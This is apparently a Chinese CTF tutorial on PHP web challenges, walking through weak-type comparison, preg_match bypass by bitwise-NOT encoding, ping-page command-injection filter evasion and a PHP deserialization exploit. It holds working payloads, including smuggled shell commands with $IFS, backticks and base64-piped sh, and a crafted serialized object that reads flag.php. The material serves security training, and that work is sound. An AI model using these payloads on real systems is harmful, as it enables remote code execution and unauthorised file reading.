本课重点:
- 案例1:PHP-相关总结知识点-后期复现
- 案例2:PHP-弱类型对比绕过测试-常考点
- 案例3:PHP-正则preg_match绕过-常考点
- 案例4:PHP-命令执行RCE变异绕过-常考点
- 案例5:PHP-反序列化考题分析构造复现-常考点
相关PHP所有总结知识点参考:
https://www.cnblogs.com/iloveacm/category/1791836.html
ctf变量
php的弱类型比较问题
php断言(
assert
)
php读取目录下文件的方法
preg_match绕过
PHP中sha1()函数和md5()
异或注入
updatexml()函数报错注入
源文件泄露利用
extract变量覆盖
strcmp()漏洞
md5()漏洞
ereg()截断漏洞
弱类型整数大小比较绕过
命令执行
md5()漏洞
escapeshellarg()与escapeshellcmd()
sql注入绕过关键字
preg_replace
/
e的命令执行漏洞
MYSQL特殊模式
PHP字符串解析特性
弱类型绕过对比总结:
https://www.cnblogs.com/Mrsm1th/p/6745532.html
=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
== 在进行比较的时候,会先将字符串类型转化成相同,再比较
举例
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
代码解析
$num=$_GET['num'];
// 接收get请求的num参数的值if(!is_numeric($num))
// is_numeric — 检测变量是否为数字或数字字符串,是则返回True // 注意这里前面有个 ! 表示非,意思是如果是true那就反转为false,反之如果是false就会变成true,也就是说这里需要数据不是纯数字才能通过判断{
echo $num;
// echo — 输出一个或多个字符串if($num==1)
// 判断num是否等于1 注意这里是两个 =echo 'flag{**********}';
// 符合条件就打印 'flag{**********}' }
在线的靶场:https://ctf.bugku.com/challenges/index/gid/1/tid/1.html?keyword=%E7%9F%9B%E7%9B%BE
或这里使用phpStudy在本地部署文件
访问:(只要后面的参数不是纯数字就能打印flag)
127.0.0.1/get/index.php
传参1x,得到flag (参数不是纯数字就行)
也可以添加换行符:1%0a
ctf中 preg_match 绕过技术:
- 方法1:异或
- 方法2:取反
- 方法3:数组
- 方法4: PCRE
- 方法5∶换行符
真题:preg_match绕过-ctfhub-2020-第五空间智能安全大赛-web-hate_php
靶场地址:https://www.ctfhub.com/#/challenge
1)打开页面,显示如下代码
代码解析
2)第一个正则表达式过滤了相关的关键字。第二个正则表达式过滤了PHP的内置函数,因此即使找到了某个函数恰好可以绕过第一个,也过不去第二个过滤。这样的题目,一般的思路就是利用异或或者取反来绕过。这里用取反来绕过。
第一步绕过思路:取反绕过(把getFlag取反然后URL编码:)
例如对:"getFlag"进行取反
首先我们要获取当前目录下的文件信息,实现代码:
// print_r() 打印变量// scandir() 列出指定路径中的文件和目录 , '.' 表示当前目录print_r(scandir('.'))
但是前面讲了源代码对函数做了过滤,所以这里我们要把每个函数与函数的参数拆分开来,然后进行取反再进行url编码绕过
拆分成:print_r 、scandir、.
实现方式跟上面一样,先使用在线的php编译工具取反然后格式化成URL编码,实现代码如下:
编码后的结果:
%8F%8D%96%91%8B%A0%8D%8C%9C%9E%91%9B%96%8D%D1
开始发送url请求获取当前目录下的文件信息,刚才查看源码发现他是get请求参数是code
?code=print_r(scandir('.')) # 根据这个url格式将我们编码后的函数与参数拼接起来进行请求?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)((~%D1))) # 使用这个url去发送请求
返回的信息是个数组:Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php ) 表示当前目录下有两个文件 flag.php 与 index.php
读取flag.php构造payload
实现代码:
highlight_file(flag.php)
拆分成:highlight_file、
flag.php
编码后的结果:
%97%96%98%97%93%96%98%97%8B%A0%99%93%96%9A%99%93%9E%98%D1%8F%97%8F
开始发送url请求读取flag.php
?code=highlight_file(flag.php) # 根据这个url格式将我们编码后的函数与参数拼接起来进行请求 ?code=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)((~%99%93%9E%98%D1%8F%97%8F)) # 使用这个url去发送请求
最后复制获取到的flag,到靶场提交,解题成功
命令执行常见绕过:https://www.cnblogs.com/iloveacm/p/13687654.html
靶场地址:https://buuoj.cn/challenges#[GXYCTF2019]Ping Ping Ping
1)场景打开如下,页面是/?ip= 很明显这肯定就是个命令执行
2)输入:?ip=127.0.0.1 本地ip地址测试一下
这就相当于我们自己在cmd中手动ping (这就说明这里是可以执行系统命令的)
3)虽然这个靶场现在只是可以执行ping命令,但是我们可以使用特殊字符进行连接让他执行我们需要的命令
常用的特殊字符有:|、;、||、&&、&、$
查看当前目录下文件
?ip=127.0.0.1 ; dir # dir 是windows的查看文件目录命令
将空格清除再测试
?ip=127.0.0.1;dir # 这里执行后没有反应,说明服务器不是windows系统
这里换成linux系统命令再执行一次,成功列出文件信息
?ip=127.0.0.1;ls # 使用linux系统的命令测试成功列出当前目录的文件信息
4)尝试读取flag文件
/?ip=127.0.0.1;catflag.php # cat 是linux系统的查看文件内容的命令,因为前面说了靶机过滤了空格这里就不加空格了
发现过滤了字符 flag
5)尝试绕过这个字符过滤
https://www.cnblogs.com/iloveacm/p/13687654.html
绕过方式一:变量拼接 ($IFS$数字 -- 相当于空格 $a 是指a 这个变量)
/?ip=127.0.0.1;a=g;cat$IFS$2fla$a.php
但是只有这种绕过方式?我们可以查看靶机源代码(indx.php),分析绕过规则
/?ip=127.0.0.1;a=x;cat$IFS$2inde$a.php # 这里我将a=g 改成a = x
代码解析:
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); // die 输出一个消息并且退出当前脚本 } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); // shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回 , -c 4 指定ping的次数为4 echo ""; // echo 输出一个或多个字符串 print_r($a); // print_r 打印变量}?>
绕过方式二:内联注释(将反引号命令的结果作为输入来执行命令)
/?ip=127.0.0.1;cat$IFS$2`ls`
绕过方式三:sh
- Y2F0IGZsYWcucGhw 是base64加密后的字符解密就是:cat flag.php
- echo 输出一个或多个字符串
- $IFS$2 相当于空格
/?ip=127.0.0.1;echo$IFS$2Y2F0IGZsYWcucGhw|base64$IFS$2-d|sh
真题:网鼎杯2020-青龙组-web-AreUserialz
靶场地址:https://www.ctfhub.com/#/challenge
搜索:AreUSerialz
序列化和反序列化作用(来源)
- 便于存储:序列化过程将文本信息转变为二进制数据流。这样就信息就容易存储在硬盘之中,当需要读取文件的时候,从硬盘中读取数据,然后再将其反序列化便可以得到原始的数据。在Python程序运行中得到了一些字符串、列表、字典等数据,想要长久的保存下来,方便以后使用,而不是简单的放入内存中关机断电就丢失数据。python模块大全中的Pickle模块就派上用场了,它可以将对象转换为一种可以传输或存储的格式。
- 便于传输:当两个进程在进行远程通信时,彼此可以发送各种类型的数据。无论是何种类型的数据,都会以二进制序列的形式在网络上传送。发送方需要把這个对象转换为字节序列,在能在网络上传输;接收方则需要把字节序列在恢复为对象。
反序列化漏洞原理:(来源)
未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行、SQL注入、目录遍历等不可控后果。
在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
重要函数:
- serialize() :将一个对象转换成字符串 。 (序列化)
- unserialize() :将字符串还原成一个对象 (反序列化)
触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法。
__construct() // 创建对象时触发
__destruct() // 对象被销毁时触发
__call() // 在对象上下文中调用不可访问的方法时触发
__callStatic() // 在静态上下文中调用不可访问的方法时触发
__get() // 用于从不可访问的属性读取数据
__set() // 用于将数据写入不可访问的属性
__isset() // 在不可访问的属性上调用 isset()或 empty()触发
__unset() // 在不可访问的属性上使用 unset()时触发
__invoke() // 当脚本尝试将对象调用为函数时触发
发现Flag位置-反序列化考点-分析代码-构造代码生成Payload
具体解题步骤参考前面笔记 来源
https://www.cnblogs.com/zhengna/p/15661109.html
打开靶机获取代码:
process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]:
"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }}function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true;}if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }}
代码解析:(我注释写的很详细,就算你没有学过php也能做这个程序的代码审计)
process(); // 调用process方法(也称为类的成员方法) , $this 指当前类,因为在当前方法调用当前类的另一个方法process()时就要加上$this不然程序找不到 } // public 定义公有的方法 public function process() { // 这个process() 方法就是对op进行判断 if($this->op == "1") { // 判断 op=1? 注意这里是两个= ,判断的是值也就是说只要是1就可以了不管你是数字1还是字符1 $this->write(); // 如果符合判断条件,调用write方法,写入文件的方法 } else if($this->op == "2") { // op=2? $res = $this->read(); // 调用read方法,读取文件的方法,方法的返回值是读入到的文件内容 $this->output($res); // 将$res变量中存储的文件内容,输出 output()方法是下面自定义的输出方法 } else { // 否则结束 $this->output("Bad Hacker!"); } } private function write() { // 可忽略,没有意义当 op=1 时才会进入这个函数,我们解题需要op = 2 if(isset($this->filename) && isset($this->content)) { // isset — 检测变量是否已设置并且非 NULL, 存在并且值不是 NULL 则返回 TRUE,否则返回 FALSE if(strlen((string)$this->content) > 100) { // strlen — 获取字符串长度 $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); // file_put_contents — 将一个字符串写入文件,该函数将返回写入到文件内数据的字节数,失败时返回FALSE if($res) $this->output("Successful!"); // 判断$res不为空,打印成功的信息 else $this->output("Failed!"); // 否则打印失败信息 } else { $this->output("Failed!"); } } // private 把方法声明为私有的,也就是说只有当前类才能调用 private function read() { // 这个方法就是读取文件的方法 $res = ""; // 先将 $res 变量赋值为空 if(isset($this->filename)) { // 如果filename存在的话,直接获取文件内容 $res = file_get_contents($this->filename); // file_get_contents — 将整个文件读入一个字符串 $this->filename 是$this->$filename 在内存中的存储地址 } return $res; // 将读入到的文件内容返回 } private function output($s) { // 自定义的输出方法 echo "[Result]:
"; // echo — 输出一个或多个字符串 echo $s; // 将方法接收到的数据($s)输出 } function __destruct() { // 当对象进行销毁的时触发 if($this->op === "2") // 这里判断op是否强等于"2"(就是类型与值都要相等),如果等于"2" 可以使用数字2或字符串'2'绕过判断,因为等于1是调用写入方法等于2才是读取文件数据的方法 $this->op = "1"; // op赋值"1" $this->content = ""; $this->process(); // 调用process()方法对op的值进行判断 }}function is_valid($s) { // 循环判断字符串的每一次值,是否在32-125内(可见字符之内的字符串),strlen — 获取字符串长度 for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) // !表示非 ord — 转换字符串第一个字节为 0-255 之间的值 (asiic码) return false; // 不符合条件返回false return true; // 符合条件返回true}if(isset($_GET{'str'})) { // $_GET{'str'}获取通过get请求传过来的str isset — 检测变量是否已设置并且非 NULL $str = (string)$_GET['str']; // 将获取到的get参数str赋值给$str变量 if(is_valid($str)) { // 然后str过一下上面的is_valid方法,看一下是否有非法字符 $obj = unserialize($str); // 如果没有直接unserialize反序列化 }}
绕过思路:
1、通过str参数传入值,绕过相关的过滤(就是构造payload)
2、str变量值 - 字符串格式,创建类对象FileHandler
前面讲了unserialize() 方法将字符串还原成一个对象 (反序列化),就是相当于创建了对象,当创建了对象后就会触发__construct()方法
3、让op = 2,filename = flag.php # 因为源代码当op=2是就会调用读取的方法,读取filename变量对应的文件
4、构造攻击Patload
代码解析:
代码运行结果:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}
5)使用攻击 Patload 获取flag
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}
涉及资源:
- https://www.cnblogs.com/iloveacm/category/1791836.html CTF知识点
- https://buuoj.cn/challenges 靶场
- https://www.ctfhub.com/#/challenge ctf
- http://t.zoukankan.com/v01cano-p-11736722.html ctf中 preg_match 绕过技术 | 无字母数字的webshell
- https://www.cnblogs.com/iloveacm/p/13687654.html 命令执行
来源地址:https://blog.csdn.net/weixin_43263566/article/details/129659822